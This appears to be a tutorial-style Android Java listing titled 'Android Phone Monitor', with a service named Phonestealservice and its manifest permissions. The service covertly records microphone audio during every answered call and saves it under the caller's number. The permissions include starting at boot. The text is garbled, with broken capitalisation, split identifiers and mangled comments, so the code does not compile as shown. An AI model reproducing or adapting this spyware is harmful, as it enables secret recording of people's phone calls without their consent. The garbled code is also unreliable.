public class Phonestealservice extends Service {/** * declares phone status listener object and instantiates */private Phonestatelistener phonestatelistener= New Phonestatelistener () {/** * Declares the variable that holds the caller number */private String incomingnumber;/** * Declares the media recorder object */private Mediarecorder Mediar ecorder;/** * Whether the real recording */private Boolean isrecording;/** * declares the recorded audio file object */private files destfile;/** * method that is automatically called when the device (phone) status changes * @param state Phone Status * @param incomingnumber call number */public void oncallstatechanged (int state, String incomingnumber) {switch (state) {/* * phone is idle. * Idle state in two cases: * A: Consistent in idle state * B: The user just after the phone hangs back to the idle state */case TelephonyManager.CALL_STATE_IDLE:if (Mediarecorder!=null && Amp isrecording) {mediarecorder.stop (); Mediarecorder.release (); mediarecorder=null;isrecording=false;} System.out.println ("= = = Phone is in idle state ==phonestatelistener.oncallstatechanged (int state=" +state+ ", String Incomingnumber = "+incomingnumber+") ===== "); break;//call status, the phone number case is now telephonymanager.call_state_ringing:this.incomingnumber= Incomingnumber; System.out.println ("= = = Phone is in call status ==phonestatelistener.oncallstatechanged (int state= "+state+", String incomingnumber= "+incomingnumber+") ===== "); break;/ /answer status case telephonymanager.call_state_offhook://1. Instantiate the media Recorder object mediarecorder=new mediarecorder ();//2. Set the audio source to microphone mediarecorder.setaudiosource (MediaRecorder.AudioSource.MIC);//3. Set the output format of the audio to 3GP format Mediarecorder.setoutputformat (MediaRecorder.OutputFormat.THREE_GPP);//4. Set the audio encoding Mediarecorder.setaudioencoder (MediaRecorder.AudioEncoder.AMR_NB); if (Environment.getexternalstoragestate ( ). Equals (environment.media_mounted)) {String filename=this.incomingnumber+ "_" +system.currenttimemillis () + ". 3gp"; Destfile=new File (Environment.getexternalstoragedirectory (), fileName);//5. Set the output path of the recording file Mediarecorder.setoutputfile (Destfile.getabsolutepath ());} try {//6. Media recorder is in Ready state mediarecorder.prepare ();//7. Start recording Mediarecorder.start ();} catch (IllegalStateException e) {//TODO Auto-generated catch Blocke.printstacktrace ();} catch (IOException e) {//TODO auto-generated catch Blocke.printstacktrace ();} System.out.println ("= = = Phone is in the answer state ==phonestatelistener.oncallstatechanged (int state= "+state+", String incomingnumber= "+incomingnumber+") ===== "); break;}}};/ * * Declares the Phone Manager object */private Telephonymanager telephonymanager; @Overridepublic void OnCreate () {//TODO auto-generated method Stubsuper.oncreate ();//Get the Phone Manager Object telephonymanager= (Telephonymanager) This.getsystemservice through system service ( Context.telephony_service); Telephonymanager.listen (phonestatelistener,phonestatelistener.listen_call_state// Specifies the status of the listening phone); System.out.println ("====phonestealservice.oncreate () ======");} @Overridepublic ibinder onbind (Intent Intent) {//TODO auto-generated method Stubreturn null;} @Overridepublic void OnDestroy () {//TODO auto-generated method Stubsuper.ondestroy (); if (telephonymanager!=null) {// Specifies no longer listens for phone status Telephonymanager.listen (Phonestatelistener, Phonestatelistener.listen_none);}}}
Need to register permission
<!--register permission to read phone status-- <uses-permission android:name= "Android.permission.READ_PHONE_STATE"/> <!--register to record audio rights-- <uses-permission android:name= "Android.permission.RECORD_AUDIO"/><!-- Register power-on-Start broadcast permissions-- <uses-permission android:name= "Android.permission.RECEIVE_BOOT_COMPLETED"/> <!-- Register your phone's sdcard to create and delete files right-- <uses-permission android:name= "Android.permission.MOUNT_UNMOUNT _filesystems "/><!-- Register permission to write content to your phone sdcard file-- <uses-permission android:name=" Android.permission.WRITE_EXTERNAL_STORAGE "/>
Android Phone Monitor